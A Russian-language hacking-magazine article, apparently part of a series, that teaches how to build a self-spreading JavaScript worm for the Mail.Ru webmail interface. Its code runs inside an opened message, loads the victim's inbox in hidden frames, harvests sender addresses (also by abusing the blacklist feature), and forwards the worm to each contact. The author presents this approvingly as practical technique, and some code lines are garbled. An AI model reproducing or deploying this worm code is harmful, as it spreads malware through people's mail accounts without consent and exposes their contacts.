Чтобы найти дорогу, необходима
самая малость.
Некоторые не видят выход,
а некоторые даже не хотят его видеть...
Данный материал - продолжение темы о написании червей для web-интерфейсов на примере Mail.Ru. Поскольку тема еще не была описана на просторах РУ.НЕТа,
я считаю, что чтения статьи должно будет
достаточно интересно для вас...
Итак, мы разобрались как обеспечить себе возможность исполнения, а также вникли в технологию "частичной загрузки". Пришло время
воспользоваться полученными знаниями на практике. Начнем с получения
адресов писем, находящихся в папке Входящие.
Каждое письмо описано в HTML следующим способом:
<tr bgcolor=ffffff>
<td align=center>
<font size=2>6</td><td bgcolor=#EBEDF0 align=center><input type="checkbox" name="id" value="ИДЕНТИФИКАТОР">
</td><td align=center><img src=http://img.mail.ru/mail/ru/ images/attachment.gif width=13 height=14></td><td><font size=2>
<a href="https://xakep.ru/wp-content/uploads/post/19088/readmsg?id=ИДЕНТИФИКАТОР">АВТОР</a></td><td nowrap><font size=2>ДАТА</td><td><font size=2>
РАЗМЕР</td><td><font size=2><a href="https://xakep.ru/wp-content/uploads/post/19088/readmsg?id=ИДЕНТИФИКАТОР">ТЕМА</a>
</td>
</tr>
Таким образом, загрузив в отдельный IFRAME входящие
(http://win.mail.ru/cgi-bin/msglist) пользователя, мы можем получить уже некоторые данные о письмах:
- Автор
- Тема
- Дата
- Размер
- Идентификатор
Этих данных, нам хватит для того, чтобы двигаться далее, а точнее
- чтобы перейти от идентификатора письма к адресу отправителя. Но все по
порядку, загружаем входящие:
function Initialize()
{
if(!self.parent.frames.length) //если мы не в IFRAME
{
MessageID=parent.document.forms[0].id.value;
document.write('<IFRAME SRC="http://win.mail.ru/cgi-bin/ msglist/" width="0" height="0"></IFRAME>');
window.setInterval('checkInbox()',100);
Step='1';
}
}
Немного поясню, что именно здесь происходит. Проверяем, не загружены ли мы в фрейм, если нет, то запоминаем идентификатор нашего письма (чтобы не отсылать себя человеку, который нас прислал), загружаем входящие и устанавливаем таймер на функцию
checkInbox(). Именно она (checkInbox()) и будет получать адрес отправителя письма и пересылать тело червя очередной жертве.
Итак, давайте взглянем на тело функции получения адреса отправителя письма:
function checkInbox()
{
if(Step=='1')
{
//ждем загрузки списка писем
checkLoadStatus();
if(parent.frames[0].document.forms[0] .remove.value);
if(!ErrorStatus)
{
//Если загрузили, то
Inbox=parent.frames[0].document.body.innerHTML;
var Offset=-1;
var ID=0;
do
{
Поскольку ссылка readmsg?id=ИДЕНТИФИКАТОР встречается дважды, мы
ищем ее появление и уже знаем, что будет еще ее пара. Поэтому ищем и ее. Можно также перебирать письма по индексам ссылок, сделать это можно конструкцией
document.all.tags('a')[ИНДЕКС]. Но я склоняюсь к первому варианту, чтобы продемонстрировать более широкие возможности при выборе некоторого метода, а второй способ будет использован при получении e-mail'ов пользователей.
//Ищем идентификатор первого письма
Offset=Inbox.indexOf('readmsg?id=',Offset+1);
if(Offset!=-1)
{
Offset=Inbox.indexOf('readmsg?id=',Offset+10);
Offset+=11;
ID=Inbox.substring(Offset,Offset+20);
//Сверяем его с идентификатором нашего
if(ID!=MessageID)
{
//Если они не совпадают, то загружаем письмо с этим идентификатором
document.write('<IFRAME SRC="http://win.mail.ru/cgi-bin/
readmsg?id='+ID+'" width="0" height="0"></IFRAME>');
//Считаем количество открытых писем
Counter+=1;
Количество писем можно и не считать, а получить его из текста "Показано 1-10 из 10 « пред | след »", или же получить это число выходя из количества открытых фреймов. Просто данный способ занимает
наиболее меньший объем кода. А оптимизация, о которой также пойдет речь, тоже важный факт, учитывая требуемую высокую скорость загрузки письма.
}
}
}while(Offset!=-1);
//Открыли все. Переходим к этапу №2
Step='2';
}
}
if(Step=='2')
{
//Отсылка
Примерно таким образом получается реализовать загрузку писем для почтового сервиса Mail.Ru. Далее необходимо
разобраться с получением e-mail'ов из загруженных писем, чтобы уже в последнем этапе успешно разослать им свою копию.
//Проверяем, загрузилось ли i-e письмо
if(i<=Сounter)
{
checkLoadStatus();
if(parent.frames[i].document.all.tags('font')[21].innerText);
//Если загрузилось
if(!ErrorStatus)
{
//Очищаем окно со списком писем
parent.frames[0].document.location.href='about:blank';
//Пересылаем наше письмо
var Sender=parent.frames[i].document.all.tags('font')[21].innerText;
parent.frames[i].document.location.href='http://win.mail.ru/ cgi-bin/bouncemsg?id='+MessageID+'&To='+Sender;
i++;
}
}
//Все, письма закончились 🙁
else
{
//Сворачиваем лавочку 🙂
window.clearInterval(interval);
}
Таким образом можно отослать себя всем пользователям.
Способ достаточно хорош, поскольку на Mail.Ru достаточно
хорошо все написано, но действительно ли все так
замечательно как кажется? Поэтому пока подумаем какими способами можно было воспользоваться еще.
Возможно, многим из вас кажется, что есть другие более простые методы. Давайте немного
поразмышляем о них. Можно было не получать список отправителей писем, а используя идентификаторы загрузить форму написания ответа, и вставить в тело письма HTML файл с кодом самого червя и "рисунка", обеспечивающего его загрузку. Тело червя, кстати, можно вставить в некоторый тэг, а потом получить его через innerHTML. Это тоже неплохо, но давайте поищем еще более рациональные варианты,
полностью отказавшись от данной технологии.
Попробуйте выделить все письма и нажать "в черный вписок". Удивительно,
не правда ли:
Такой длинный метод получения почтовых адресов можно упростить! Сервер сделает за нас всю грязную работу. Как это может быть реализовано?
function Initialize()
{
if(!self.parent.frames.length) //если мы не в IFRAME
{
MessageID=parent.document.forms[0].id.value;
document.write('<IFRAME SRC="http:// win.mail.ru/cgi-bin/msglist/" width="0" height="0" onLoad="LoadMessages()"></IFRAME>');
}
}
function LoadMessages()
{
//Ставим каждому письму галочку
for (i = 0; i < parent.frames[0].document.forms[0]. elements.length; i++)
{
var item = parent.frames[0]. document.forms[0].elements[i];
if (item.name == "id")
{
item.checked = mark;
};
}
parent.frames[0].document.forms[0].addfilter.click();
parent.frames[0].onLoad="GetMail()";
}
function SendMail()
{
MailList=parent.frames[0].document.forms[0]."add".value;
Chars=new RegExp("\\n", "g");
Sender=MailList.replace(Chars, ",");
parent.frames[0].src="http://win.mail.ru/cgi-bin/bouncemsg?id ='+MessageID+'&To='+Sender";
}
Как вы видите, достаточно разнообразные решения исходно одинаковых проблем. Свободный полет мысли, благо разработчики оставили нам такую возможность...
(продолжение следует)